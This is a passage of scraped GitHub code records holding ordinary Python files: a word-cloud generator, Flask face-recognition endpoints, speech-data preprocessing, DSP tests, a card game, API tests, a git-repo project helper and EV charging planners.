\"_default.png\" # 保存的图片1(只按照背景图片形状)\n self.save_img_path_2 = \"./savePicture/\" + str(numPic) + \"_ByImg.png\" # 保存的图片2(颜色按照背景图片颜色布局生成)\n self.operate = DB.operateDB()\n\n self.my_words_list = newWords#['东方威尼斯水城'] # 在结巴的词库中添加新词\n\n try:\n self.back_pic = imread(self.pic_path) # 设置背景图片\n if self.isCN:\n # 参数分别是：设置字体，背景颜色，词云显示的最大词数，字体最大值，背景图片，每个单词返回一个PIL颜色，设置图片默认的大小,但是如果使用背景图片的话,那么保存的图片大小将会按照其大小保存,margin为词语边缘距离\n self.wc = WordCloud(font_path=self.font_path, background_color=\"white\", max_words=2000,max_font_size=100, mask=self.back_pic, random_state=42, width=1000, height=860,margin=2)\n else:\n self.wc = WordCloud()\n except:\n if self.isCN:\n # 参数分别是：设置字体，背景颜色，词云显示的最大词数，字体最大值，每个单词返回一个PIL颜色，设置图片默认的大小,但是如果使用背景图片的话,那么保存的图片大小将会按照其大小保存,margin为词语边缘距离\n self.wc = WordCloud(font_path=self.font_path, background_color=\"white\", max_words=2000,max_font_size=100, random_state=42, width=1000, height=860,margin=2)\n else:\n self.wc = WordCloud()\n\n # 添加自己的词库分词\n # 参数：要自定义的词语数组\n def add_word(self,list):\n for items in list:\n jieba.add_word(items)\n\n # 结巴分词\n # 参数：要分词的文本内容（非文本地址）\n # 返回：分好词之后的文本列表以空格分开\n def jiebaCutText(self,text):\n myWordList = []\n segList = jieba.cut(text)\n buff = []\n buff.append(self.my_words_list[0])\n with open(self.stopwords_path, 'r', encoding='utf8') as f:\n for row in f:\n el = row[:-1]\n buff.append(el)\n stopWords = buff\n for word in segList:\n if word not in stopWords and len(word) > 1 and not word.isdigit() and not word.count('.') == 1:\n myWordList.append(word)\n self.countWords(myWordList)\n return ' '.join(myWordList)\n\n # 统计词频\n # 参数：分词的列表\n def countWords(self,myWordList):\n for w in myWordList:\n if(len(w) > 1 and w != '\\r\\n'):\n self.count[w] += 1\n\n # 词云区\n # 原始词云\n def makeOriginalCW(self):\n # 设置词云属性\n plt.figure()\n plt.imshow(self.wc)\n plt.axis(\"off\")\n # 显示\n # plt.show()\n # 将图片存到本地\n self.wc.to_file(self.save_img_path_1)\n\n # 添加了图片的词云\n def makePictureCW(self):\n image_colors = ImageColorGenerator(self.back_pic) # 从背景图片生成颜色值\n plt.imshow(self.wc.recolor(color_func=image_colors))\n plt.axis(\"off\")\n plt.figure()\n # 显示\n # plt.show()\n # 将图片存到本地\n self.wc.to_file(self.save_img_path_2)\n\n # 生成词云, 可以用generate输入全部文本(wordcloud对中文分词支持不好,建议启用中文分词),也可以我们计算好词频后使用generate_from_frequencies函数\n def main(self):\n myText = self.jiebaCutText(self.text)\n tempList = []\n for (k,v) in self.count.most_common(10):\n tempList.append(k)\n self.operate.insertLabel(self.number, tempList)\n\n self.wc.generate(myText)\n self.makeOriginalCW() # 原始词云\n # self.makePictureCW() # 图片词云\n\n def __str__(self):\n return 'mcw -- ing'","repo_name":"OCsource/make_world_cloud","sub_path":"dealWords/makeWorldCloud.py","file_name":"makeWorldCloud.py","file_ext":"py","file_size_in_byte":4928,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"19822385512","text":"from flask import Blueprint\nfrom flask import request\n\nfrom utils import *\nfrom face_utils.face_recognition import ImageFaceRecognition\n\nface_info = Blueprint('face_app', __name__)\n\nrequire_insert_param = ['replace', 'uid', 'image']\nrequire_recognition_param = ['image']\nrequire_delete_param = ['mid', 'uid']\n\n# 图片人脸识别模型\nface_reco_model = ImageFaceRecognition()\n\n\n@face_info.route(\"/image/faceInsert\", methods=['POST'])\ndef image_entryInformation():\n isSuccess = False\n status_code = 400\n\n post_json = request.get_json()\n if post_json is None:\n msg = \"The JSON data obtained is none\"\n return result(isSuccess, status_code, msg)\n isSuccess, msg, param = check_insert_param(require_insert_param, post_json)\n if isSuccess:\n isSuccess, msg, status_code, image = face_reco_model.insert_face(param['image'], param['uid'],\n param['replace'])\n\n return result(isSuccess, status_code, msg)\n else:\n return result(isSuccess, status_code, msg)\n\n\n@face_info.route(\"/image/faceRecognition\", methods=['POST'])\ndef image_faceRecognition():\n isSuccess = False\n status_code = 400\n uids, unrecognizedImage, recognizedImage, mids, markImage_base64 = [], [], [], [], None\n data = {\n \"uids\": uids,\n \"markImage\": markImage_base64,\n }\n post_json = request.get_json()\n if post_json is None:\n msg = \"The JSON data obtained is none\"\n return result(isSuccess, status_code, msg, data)\n isSuccess, msg, param = check_recognition_param(require_recognition_param, post_json)\n if isSuccess:\n status_code, isSuccess, msg, unrecognizedImage, uids, markImage, mids, recognizedImage = face_reco_model.reco_face(\n param['image'])\n data = {\n \"uids\": uids,\n \"markImage\": markImage\n }\n\n return result(isSuccess, status_code, msg, data)\n else:\n return result(isSuccess, status_code, msg, data)\n\n\n@face_info.route('/image/faceDelete', methods=['POST'])\ndef image_faceDelete():\n status_code = 500\n post_json = request.get_json()\n isSuccess, msg, param = check_delete_param(require_delete_param, post_json)\n\n if isSuccess:\n isSuccess, msg, status_code = face_reco_model.face_delete(post_json['mid'], post_json['uid'])\n\n return result(isSuccess, status_code, msg)\n else:\n return result(isSuccess, status_code, msg)\n","repo_name":"misaka2019/face_recognition","sub_path":"face_utils/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":2474,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"25333907754","text":"from pydub import AudioSegment\nimport os\nimport numpy as np\nfrom tqdm import tqdm\nfrom joblib import Parallel, delayed\nimport scipy.io.wavfile as wav\nfrom python_speech_features import logfbank\n\nimport argparse\nimport csv\n\n# parser = argparse.ArgumentParser(description='Mozilla German preprocess.')\n#\n# parser.add_argument('root', metavar='root', type=str,\n# help='Absolute file path to Mozilla German. (e.g. /usr/downloads/LibriSpeech/)')\n#\n# parser.add_argument('tr_sets', metavar='tr_sets', type=str, nargs='+',\n# help='Training datasets to process in Mozilla (e.g. train-clean-100/)')\n#\n# parser.add_argument('--dev_sets', metavar='dev_sets', type=str, nargs='+', default=[] ,\n# help='Validation datasets to process in Mozilla. (e.g. dev-clean/)')\n#\n# parser.add_argument('--tt_sets', metavar='tt_sets', type=str, nargs='+', default=[] ,\n# help='Testing datasets to process in Mozilla. (e.g. test-clean/)')\n#\n# parser.add_argument('--n_jobs', dest='n_jobs', action='store', default=-2 ,\n# help='number of cpu availible for preprocessing.\\n -1: use all cpu, -2: use all cpu but one')\n# parser.add_argument('--n_filters', dest='n_filters', action='store', default=40 ,\n# help='number of filters for fbank. (Default : 40)')\n# parser.add_argument('--win_size', dest='win_size', action='store', default=0.025 ,\n# help='window size during feature extraction (Default : 0.025 [25ms])')\n# parser.add_argument('--norm_x', dest='norm_x', action='store', default=False ,\n# help='Normalize features s.t. mean = 0 std = 1')\n#\n# paras = parser.parse_args()\n\n# root = paras.root\n# train_path = paras.tr_sets\n# dev_path = paras.dev_sets\n# test_path = paras.tt_sets\n# n_jobs = paras.n_jobs\n# n_filters = paras.n_filters\n# win_size = paras.win_size\n# norm_x = paras.norm_x\n# /home/sanne/Documents/RUG/DeepLearning/GermanSpeechRecognition\ndev_path = '/data/s3757994/dev.tsv'\ntrain_path = '/data/s3757994/train.tsv'\ntest_path = '/data/s3757994/test.tsv'\nroot = '/data/s3757994/clips_wav/'\nn_jobs = -2\nn_filters = 40\nwin_size = 0.025/3\nnorm_x = False\n\n# def dividedataset(root):\n# files = os.listdir(root)\n# numfiles = len(files)\n# train = files[:int(0.7*numfiles)]\n# trainlabels = []\n# dev = files[int(0.7*numfiles):int(0.9 *numfiles)]\n# devlabels = []\n# test = files[int(0.9*numfiles):]\n# testlabels = []\n# validated = open('/data/s3757994/validated.tsv',\"r\")\n# reader = csv.reader(validated, delimiter=\"\\t\")\n# for row in reader:\n# if row[1]+\".wav\" in train:\n#\n\n\n\n\n\ndef traverse(root,path,search_fix='.wav',return_label=False):\n files = os.listdir(root)\n numfiles = len(files)\n print(numfiles)\n print(files[:5])\n if path == \"train\":\n set = files[:int(0.7*numfiles)]\n elif path == \"dev\":\n set = files[int(0.7*numfiles):int(0.9 *numfiles)]\n else:\n set = files[int(0.9*numfiles):]\n f_list = []\n with open('/data/s3757994/validated.tsv') as tsvfile:\n reader = csv.reader(tsvfile, delimiter='\\t')\n first = True\n counter = 0\n for row in reader:\n if first:\n first = False\n else:\n if (row[1] + \".wav\") in set:\n # print(row[1])\n if return_label:\n f_list.append(row[2])\n else:\n f_list.append(root + row[1]+\".wav\")\n # counter += 1\n return f_list\n\ndef flac2wav(f_path):\n flac_audio = AudioSegment.from_file(f_path, \"flac\")\n flac_audio.export(f_path[:-5]+'.wav', format=\"wav\")\n\ndef wav2logfbank(f_path):\n (rate,sig) = wav.read(f_path)\n fbank_feat = logfbank(sig,rate,winlen=win_size,nfilt=n_filters)\n np.save(f_path[:-3]+'fb'+str(n_filters),fbank_feat)\n\ndef norm(f_path,mean,std):\n np.save(f_path,(np.load(f_path)-mean)/std)\n\n\nprint('----------Processing Datasets----------')\nprint('Training sets :',train_path)\nprint('Validation sets :',dev_path)\nprint('Testing sets :',test_path)\n\n# # print('Training',flush=True)\ntr_file_list = traverse(root,\"train\")\n# print(tr_file_list[0])\n# # results = Parallel(n_jobs=n_jobs,backend=\"threading\")(delayed(flac2wav)(i) for i in tqdm(tr_file_list))\n#\n# print('Validation')\ndev_file_list = traverse(root,\"dev\")\n# print(dev_file_list[0])\n# results = Parallel(n_jobs=n_jobs,backend=\"threading\")(delayed(flac2wav)(i) for i in tqdm(dev_file_list))\n#\n# # print('Testing',flush=True)\ntt_file_list = traverse(root,\"test\")\n# results = Parallel(n_jobs=n_jobs,backend=\"threading\")(delayed(flac2wav)(i) for i in tqdm(tt_file_list))\n\n\n\n# # wav 2 log-mel fbank\nprint('---------------------------------------')\nprint('Processing wav2logfbank...')\n\n# print('Training',flush=True)\nresults = Parallel(n_jobs=n_jobs,backend=\"threading\")(delayed(wav2logfbank)(i[:-3]+'wav') for i in tqdm(tr_file_list))\n\nprint('Validation')\nresults = Parallel(n_jobs=n_jobs,backend=\"threading\")(delayed(wav2logfbank)(i[:-3]+'wav') for i in tqdm(dev_file_list))\n\n# print('Testing',flush=True)\nresults = Parallel(n_jobs=n_jobs,backend=\"threading\")(delayed(wav2logfbank)(i[:-3]+'wav') for i in tqdm(tt_file_list))\n\n\n\n# # log-mel fbank 2 feature\nprint('---------------------------------------')\nprint('Preparing Training Dataset...')\n\ntr_file_list = traverse(root,\"train\",search_fix='.fb'+str(n_filters))\ntr_text = traverse(root,\"train\",return_label=True)\n\nX = []\nfor f in tr_file_list:\n X.append(np.load(f[:-3] +\"fb40.npy\"))\n\n# Normalize X\nif norm_x:\n mean_x = np.mean(np.concatenate(X,axis=0),axis=0)\n std_x = np.std(np.concatenate(X,axis=0),axis=0)\n\n results = Parallel(n_jobs=n_jobs,backend=\"threading\")(delayed(norm)(i,mean_x,std_x) for i in tqdm(tr_file_list))\n\n\n# Sort data by signal length (long to short)\naudio_len = [len(x) for x in X]\n\ntr_file_list = [tr_file_list[idx] for idx in reversed(np.argsort(audio_len))]\ntr_text = [tr_text[idx] for idx in reversed(np.argsort(audio_len))]\n#\n# # Create char mapping\nchar_map = {}\nchar_map[''] = 0\nchar_map[''] = 1\nchar_map['/'] = 2\nchar_map['…'] = 3\nchar_map['@'] = 4\nchar_map['ş'] = 5\nchar_map['ó'] = 6\nchar_map['ú'] = 7\nchar_map['à'] = 8\nchar_map['è'] = 9\nchar_map['ì'] = 10\nchar_map['ò'] = 11\nchar_map['ù'] = 12\n\nchar_idx = 12\n\n# map char to index\nfor text in tr_text:\n for char in text:\n if char not in char_map:\n char_map[char] = char_idx\n char_idx +=1\n\nfor k,v in char_map.items():\n print(k)\n\n# Reverse mapping\nrev_char_map = {v:k for k,v in char_map.items()}\n\n# Save mapping\nwith open(root+'idx2chap.csv','w') as f:\n f.write('idx,char\\n')\n for i in range(len(rev_char_map)):\n f.write(str(i)+','+rev_char_map[i]+'\\n')\n\n# text to index sequence\ntmp_list = []\nfor text in tr_text:\n tmp = []\n for char in text:\n tmp.append(char_map[char])\n tmp_list.append(tmp)\ntr_text = tmp_list\ndel tmp_list\n\n# write dataset\nfile_name = 'train.csv'\n\nprint('Writing dataset to '+root+file_name+'...',flush=True)\n\nwith open(root+file_name,'w') as f:\n f.write('idx,input,label\\n')\n for i in range(len(tr_file_list)):\n f.write(str(i)+',')\n f.write(tr_file_list[i]+',')\n for char in tr_text[i]:\n f.write(' '+str(char))\n f.write('\\n')\n\nprint()\nprint('Preparing Validation Dataset...',flush=True)\n\ndev_file_list = traverse(root,\"dev\",search_fix='.fb'+str(n_filters))\nprint(dev_file_list[0])\ndev_text = traverse(root,\"dev\",return_label=True)\n\n\n\nX = []\nfor f in dev_file_list:\n X.append(np.load(f[:-3] +\"fb40.npy\"))\n\nprint(\"yeah joe joe\")\n# Normalize X\nif norm_x:\n results = Parallel(n_jobs=n_jobs,backend=\"threading\")(delayed(norm)(i,mean_x,std_x) for i in tqdm(dev_file_list))\n\n\n# Sort data by signal length (long to short)\naudio_len = [len(x) for x in X]\n\ndev_file_list = [dev_file_list[idx] for idx in reversed(np.argsort(audio_len))]\ndev_text = [dev_text[idx] for idx in reversed(np.argsort(audio_len))]\n\n# text to index sequence\ntmp_list = []\nfor text in dev_text:\n tmp = []\n for char in text:\n try:\n tmp.append(char_map[char])\n except:\n print(char)\n tmp_list.append(tmp)\ndev_text = tmp_list\ndel tmp_list\n\n\n\n# write dataset\nfile_name = 'dev.csv'\n\nprint('Writing dataset to '+root+file_name+'...',flush=True)\n\nwith open(root+file_name,'w') as f:\n f.write('idx,input,label\\n')\n for i in range(len(dev_file_list)):\n f.write(str(i)+',')\n f.write(dev_file_list[i]+',')\n for char in dev_text[i]:\n f.write(' '+str(char))\n f.write('\\n')\n\nprint()\nprint('Preparing Testing Dataset...',flush=True)\n\ntest_file_list = traverse(root,\"test\",search_fix='.fb'+str(n_filters))\ntt_text = traverse(root,\"test\",return_label=True)\n\nX = []\nfor f in test_file_list:\n X.append(np.load(f[:-3] +\"fb40.npy\"))\n\n# Normalize X\nif norm_x:\n results = Parallel(n_jobs=n_jobs,backend=\"threading\")(delayed(norm)(i,mean_x,std_x) for i in tqdm(test_file_list))\n\n\n# Sort data by signal length (long to short)\naudio_len = [len(x) for x in X]\n\ntest_file_list = [test_file_list[idx] for idx in reversed(np.argsort(audio_len))]\ntt_text = [tt_text[idx] for idx in reversed(np.argsort(audio_len))]\n\n# text to index sequence\ntmp_list = []\nfor text in tt_text:\n tmp = []\n for char in text:\n try:\n tmp.append(char_map[char])\n except:\n print(char)\n tmp_list.append(tmp)\ntt_text = tmp_list\ndel tmp_list\n\n# write dataset\nfile_name = 'test.csv'\n\nprint('Writing dataset to '+root+file_name+'...',flush=True)\n\nwith open(root+file_name,'w') as f:\n f.write('idx,input,label\\n')\n for i in range(len(test_file_list)):\n f.write(str(i)+',')\n f.write(test_file_list[i]+',')\n for char in tt_text[i]:\n f.write(' '+str(char))\n f.write('\\n')\n","repo_name":"AdnaB/GermanSpeechRecognition","sub_path":"util/preprocess_mozilla.py","file_name":"preprocess_mozilla.py","file_ext":"py","file_size_in_byte":9861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"24529979824","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.io import wavfile\nimport sys\nimport lab04_funcs as lab4\n\nTEST_LOW = True\nTEST_HIGH = True\n\n# returns max error between original data and synthesized data\ndef synth_error(data, synth):\n data = data[:synth.shape[0]] # trim data to match synth\n diff = abs(data[:-481] - synth[481:]) # delay found experimentally (expected 512)\n return np.max(diff)\n\n\nfs, data = wavfile.read(sys.argv[1])\ndata = data[:fs*5] # trim to 5 seconds\ncoeffs = lab4.pqmf(data)\n\n# removed low bands:\nif (TEST_LOW):\n err = np.zeros(12)\n for i in range(12):\n thebands = np.ones(32)\n thebands[:i] = 0\n synth = lab4.ipqmf_bands(coeffs, thebands).flatten()\n err[i] = synth_error(data, synth)\n\n plt.bar(range(12),err)\n plt.title(\"Error from ommiting low frequency sub-bands from %s\" % sys.argv[1])\n plt.ylabel(\"Absolute Maximum Error\")\n plt.xlabel(\"Low bands removed\")\n plt.show()\n\n# removed high bands:\nif (TEST_HIGH):\n num_bands = 31 # number of bands to test removal of\n err = np.zeros(num_bands)\n for i in range(1, num_bands):\n thebands = np.zeros(32)\n thebands[:-i] = 1\n synth = lab4.ipqmf_bands(coeffs, thebands).flatten()\n err[i] = synth_error(data, synth)\n\n plt.bar(range(num_bands),err)\n plt.title(\"Error from ommiting high frequency sub-bands from %s\" % sys.argv[1])\n plt.ylabel(\"Absolute Maximum Error\")\n plt.xlabel(\"High bands removed\")\n plt.show()\n\n","repo_name":"shane-kirkley/DSP_Lab","sub_path":"lab4/test_compression.py","file_name":"test_compression.py","file_ext":"py","file_size_in_byte":1507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"15595502437","text":"# -*- coding: utf-8 -*-\n\nfrom .context import categorize\n\nimport unittest\n\nclass Get_Basename(unittest.TestCase):\n \"\"\"Test that the basename is returned from a full path\"\"\"\n\n def test_path_basename_returns_just_basename_of_file(self):\n path = '/Users/russellboley/Downloads/Git/categorizemod/tests/context.py'\n basename = 'context'\n self.assertEqual(categorize.path_basename(path),basename)\n\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"raboley/categorize-images","sub_path":"tests/test_get_basename.py","file_name":"test_get_basename.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"14302586213","text":"import GameObjects\nimport CalcUtils\n\nclass playertable:\n def __init__(self, name):\n self.piles = {'R' :[] , 'W' :[] , 'B' :[] , 'G' :[] , 'Y' :[] } \n self.name = name\n \n def legalToPlaceOnTable(self, card):\n if len(self.piles[card.color]) == 0: \n return True\n else:\n if self.piles[card.color][-1].ordinalval > card.ordinalval:\n return False\n else:\n return True\n \n def play(self, card):\n if card.color not in self.piles.keys():\n raise ValueError('bad color supplied in playtotable')\n if len(self.piles[card.color]) == 0: \n self.piles[card.color].append(card)\n else:\n if self.piles[card.color][-1].ordinalval > card.ordinalval:\n raise ValueError('Illegal move('+self.name+') Card below has a greater value.')\n else:\n self.piles[card.color].append(card)\n \n def getPileScore(self, color):\n if len(self.piles[color]) == 0:\n return 0\n else:\n return CalcUtils.scoreSet(self.piles[color]) \n \n def getScore(self):\n table_score = 0\n for p in self.piles.keys():\n table_score += self.getPileScore(p)\n return table_score \n \n def __str__(self):\n r = 'Table of ' + self.name + ':\\n'\n depth = 0\n for k in self.piles.keys():\n r += ' ' + k.upper() + ' ' \n if len(self.piles[k]) > depth:\n depth = len(self.piles[k])\n r += '\\n'\n \n for d in range(depth):\n for p in self.piles.keys():\n if len(self.piles[p])-1 < d: \n r += ' ' \n else: \n r += ' ' + str(self.piles[p][d]) \n r += '\\n' \n return r\n \nclass playerhand:\n def __init__(self, name):\n self.cards = []\n self.name = name \n \n def add(self, card):\n self.cards.append(card)\n \n def playcard(self, card):\n self.cards.remove(card)\n return card\n \n def __str__(self):\n r = '' \n for card in self.cards:\n r += str(card) + ' ' \n return r\n \nclass player:\n def __init__(self, name):\n self.hand = playerhand(name)\n self.table = playertable(name)\n self.name = name\n \n def __str__(self):\n return self.name\n \n\n","repo_name":"maikelkata182/LostCity","sub_path":"Player.py","file_name":"Player.py","file_ext":"py","file_size_in_byte":2411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"29187666315","text":"\"\"\"\n给定一个整数数组 nums 和一个目标值 target，请你在该数组中找出和为目标值的那 两个 整数，并返回他们的数组下标。\n你可以假设每种输入只会对应一个答案。但是，你不能重复利用这个数组中同样的元素。\n示例:\n给定 nums = [2, 7, 11, 15], target = 9\n因为 nums[0] + nums[1] = 2 + 7 = 9\n所以返回 [0, 1]\n思路：\n由题目可知，一定会有一个答案，所有可以遍历一下数组，\n并在遍历的过程中将当前值及其所在的索引位置作为k、v存入字典中，\n并判断目标值target减去当前值是否在字典里，如果存在，即可找到满足题意的索引值。\n\"\"\"\n\n\nclass Solution(object):\n def towSum(self, nums, target):\n dt = {}\n for index, item in enumerate(nums):\n if target - item in dt:\n return [index, dt[target-item]]\n dt[item] = index\n\n\na = Solution()\nnums = [11, 15, 6, 3]\nb = a.towSum(nums, target=9)\nprint(b)\n\n\n\n\n\n\n","repo_name":"xiao-a-jian/python-study","sub_path":"剑指offer/1.sum_twoNumbers.py","file_name":"1.sum_twoNumbers.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"30050497267","text":"import os\r\nimport shutil\r\n\r\nimport requests\r\nfrom flask import Flask\r\nfrom git import Repo\r\n\r\nfrom helmbridge.config import language_config\r\n\r\nlogger = Flask(__name__).logger\r\n\r\n\r\ndef create_project(project_id, language, repo_url):\r\n try:\r\n repo_url = language_config[language]['template'] if not repo_url else repo_url\r\n repo_path = os.path.join(os.environ['REPOSITORIES_PATH'], project_id)\r\n Repo.clone_from(repo_url, repo_path)\r\n shutil.rmtree(os.path.join(repo_path, '.git'))\r\n repo = Repo.init(repo_path)\r\n repo.git.add(all=True)\r\n repo.index.commit('1 - Initial version')\r\n requests.patch(os.environ['API_URL'] + 'projects/' + project_id + '/initialised')\r\n os.system('chmod -R 777 ' + repo_path)\r\n except Exception as e:\r\n logger.error(e)\r\n\r\n\r\ndef delete_project(project_id):\r\n shutil.rmtree(os.path.join(os.environ['REPOSITORIES_PATH'], project_id))\r\n","repo_name":"Coding-Cloud/Cloud-Coding-Helm-Bridge","sub_path":"helmbridge/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"39997380297","text":"# -*- coding: utf8 -*-\nfrom unittest.mock import Mock\n\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.models import AnonymousUser\nfrom django.contrib.messages.storage.fallback import FallbackStorage\nfrom django.test import RequestFactory, TestCase\n\n\nclass ViewTestCase(TestCase):\n fixtures = ['frigg/builds/fixtures/users.json']\n\n def setUp(self):\n self.user = get_user_model().objects.get(pk=1)\n self.factory = RequestFactory()\n\n # def tearDown(self):\n # get_user_model().objects.all().delete()\n\n def assertStatusCode(self, response, code=200):\n self.assertEqual(response.status_code, code)\n\n def add_request_fields(self, request, anonymous=False, superuser=False, staff=False):\n if anonymous:\n request.user = AnonymousUser()\n else:\n request.user = self.user\n request.user.is_superuser = superuser\n request.user.is_staff = staff\n\n setattr(request, 'session', 'session')\n messages = FallbackStorage(request)\n setattr(request, '_messages', messages)\n\n\nclass FiltersTestCase(TestCase):\n fixtures = ['frigg/builds/fixtures/users.json']\n\n def setUp(self):\n self.user = get_user_model().objects.get(pk=1)\n\n def filter_test_helper(self, filter_instance, model, count_total, count_for_user,\n count_for_anon):\n request = Mock()\n request.user = self.user\n self.assertEqual(model.objects.all().count(), count_total)\n self.assertEqual(\n filter_instance.filter_queryset(request, model.objects.all(), Mock()).count(),\n count_for_user\n )\n request.user = AnonymousUser()\n self.assertEqual(\n filter_instance.filter_queryset(request, model.objects.all(), Mock()).count(),\n count_for_anon\n )\n","repo_name":"frigg/frigg-hq","sub_path":"frigg/utils/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"60"} +{"seq_id":"7412942072","text":"import json\ndef test_get_itens_by_purchase_order_id(test_client):\n response = test_client.get('/purchase_orders/1/itens')\n\n assert response.status_code == 200\n assert len(response.json) == 1\n assert response.json[0]['id'] == 1\n assert response.json[0]['description'] == 'Sabao'\n assert response.json[0]['price'] == 22.00\n\n\ndef test_get_itens_by_purchase_order_id_not_found(test_client):\n id = 999\n\n response = test_client.get('/purchase_orders/{}/itens'.format(id))\n\n assert response.status_code == 200\n assert response.json['message'] == 'Pedido de id {} nao encontrado'.format(id)\n\n\ndef test_post_purchase_order_item(test_client):\n obj = {\n 'id': 1,\n 'description': 'Sabao',\n 'price': 22.00\n }\n\n response = test_client.post('/purchase_orders/1/itens', data=json.dumps(obj), content_type='application/json')\n\n assert response.status_code == 200\n assert response.json['id'] == 1\n assert response.json['itens'][1]['id'] == obj['id']\n\ndef test_post_invalid_id(test_client):\n obj = {\n 'description': 'Item teste',\n 'price': 10.0\n }\n\n response = test_client.post('/purchase_orders/1/itens', data=json.dumps(obj), content_type='application/json')\n\n assert response.status_code == 400\n assert response.json['message']['id'] == 'Informe um id valido'\n\ndef test_post_invalid_description(test_client):\n obj = {\n 'id': 2,\n 'price': 10.0\n }\n\n response = test_client.post('/purchase_orders/1/itens', data=json.dumps(obj), content_type='application/json')\n\n assert response.status_code == 400\n assert response.json['message']['description'] == 'Informe uma descricao'\n\ndef test_test_post_purchase_order_item_id_invalid(test_client):\n\n obj = {\n 'id': 1,\n 'description': 'Sabao',\n 'price': 22.00\n }\n\n response = test_client.post('/purchase_orders/99/itens', data=json.dumps(obj), content_type='application/json')\n\n assert response.status_code == 200\n assert response.json['message'] == 'Este pedido nao existe'\n","repo_name":"vidal-root/api-purchase_ordes","sub_path":"testes/purchase_orders_itens/test_resources.py","file_name":"test_resources.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"36035962391","text":"class Solution:\n def largeGroupPositions(self, s: str) -> List[List[int]]:\n result = []\n count = 1\n for i in range(1,len(s)):\n if s[i] == s[i-1]:\n count += 1\n else:\n if count >= 3:\n result.append([i-count, i-1])\n count = 1\n if count >= 3:\n result.append([len(s)-count, len(s)-1])\n return result","repo_name":"DevashishPathrabe/LeetCode","sub_path":"LeetCode Solutions/Problems/830. Positions of Large Groups.py","file_name":"830. Positions of Large Groups.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31325038096","text":"import numpy as np\r\nimport collections\r\n\r\nimport esn\r\nimport utils\r\n\r\nclass MinRequiredPlanner:\r\n\r\n def get_charge(self, remaining_steps, ar, **kwargs):\r\n return utils.minimum_charging_speed(remaining_steps, ar)\r\n\r\n def copy(self):\r\n return MinRequiredPlanner()\r\n\r\n def update_info(self, household_consumption, overall_consumption, **kwargs):\r\n pass\r\n\r\nclass RandomPlanner:\r\n\r\n def get_charge(self, remaining_steps, ar, **kwargs):\r\n return np.random.uniform(utils.minimum_charging_speed(remaining_steps, ar), ar.max_charging_speed)\r\n\r\n def copy(self):\r\n return RandomPlanner()\r\n\r\n def update_info(self, household_consumption, overall_consumption, **kwargs):\r\n pass\r\n\r\nclass MaxPossibleCharge:\r\n\r\n def get_charge(self, remaining_steps, *, ar, **kwargs):\r\n return ar.max_charging_speed\r\n\r\n def copy(self):\r\n return MaxPossibleCharge()\r\n\r\n def update_info(self, household_consumption, overall_consumption, **kwargs):\r\n pass\r\n\r\nclass ConstantCharge:\r\n\r\n def get_charge(self, remaining_steps, ar, **kwargs):\r\n return utils.constant_charging_speed(remaining_steps, ar)\r\n\r\n def copy(self):\r\n return ConstantCharge()\r\n\r\n def update_info(self, household_consumption, overall_consumption, **kwargs):\r\n pass\r\n\r\nclass NNPlanner:\r\n\r\n def __init__(self, layer_sizes, activations, hh_only=False):\r\n self.layer_sizes = layer_sizes\r\n self.layers = None\r\n self.hh_only = hh_only\r\n\r\n if isinstance(activations, collections.Iterable):\r\n if len(list(activations)) != len(layer_sizes) - 1:\r\n raise AttributeError(\"Number of activations does not match number of layers\")\r\n self.activations = list(activations)\r\n else:\r\n self.activations = [activations]*(len(layer_sizes)-1)\r\n\r\n self.vectorized_net = None\r\n\r\n self.last_hh_consumptions = []\r\n self.last_overall_consumptions = []\r\n self.last_charging_consumptions = []\r\n self.last_charging = 0\r\n\r\n def copy(self):\r\n nn = NNPlanner(self.layer_sizes, self.activations, self.hh_only)\r\n nn.set_network(self.vectorized_net)\r\n return nn\r\n\r\n def vectorized_size(self):\r\n return sum(map(lambda x: (x[0]+1)*x[1] , zip(self.layer_sizes, self.layer_sizes[1:])))\r\n\r\n def set_network(self, vectorized_net):\r\n\r\n if len(vectorized_net) != self.vectorized_size():\r\n raise AttributeError(f\"Length of vector does not match vectorized_size: {len(vectorized_net)} != {self.vectorized_size()}\")\r\n\r\n self.vectorized_net = vectorized_net\r\n\r\n self.layers = []\r\n\r\n sum_sizes = 0\r\n for (p, n) in zip(self.layer_sizes, self.layer_sizes[1:]):\r\n layer = vectorized_net[sum_sizes: sum_sizes + (p+1)*n]\r\n self.layers.append(np.reshape(layer, newshape=(p+1, n)))\r\n sum_sizes += (p+1)*n\r\n\r\n def eval_network(self, inputs):\r\n\r\n activations = inputs\r\n try:\r\n for act_func, layer in zip(self.activations, self.layers):\r\n activations_1 = np.append(np.array([1.0]), activations) # add constant 1.0 for the bias term\r\n activations = act_func(np.dot(activations_1, layer))\r\n except Exception as e:\r\n print(\"Activations:\", activations)\r\n raise e\r\n\r\n return activations\r\n\r\n def update_info(self, household_consumption, overall_consumption, **kwargs):\r\n self.last_hh_consumptions.append(household_consumption + self.last_charging)\r\n self.last_overall_consumptions.append(overall_consumption)\r\n self.last_charging_consumptions.append(self.last_charging)\r\n\r\n self.last_charging = 0\r\n\r\n # store only last 24 